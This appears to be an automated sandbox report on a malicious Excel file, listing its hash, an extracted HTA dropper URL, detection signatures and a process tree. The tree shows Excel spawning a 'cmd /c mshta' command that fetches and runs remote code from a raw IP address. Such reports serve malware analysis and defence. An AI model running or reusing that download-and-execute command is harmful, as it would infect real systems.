Analysis
- max time kernel
122s - max time network
124s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 16:07
General
- Target imedpub.xls
- Size 154KB
- Sample220127-tkm4nsfddq
- SHA256 48a177e008cdc6cabc24550d92b187e578a4cae3294868bb333f51fde416c99a
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\imedpub.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2584 -s 16604⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3048-117-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-119-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-120-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-130-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp
memory/3048-131-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp
memory/3048-585-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-586-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-587-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp
memory/3048-588-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp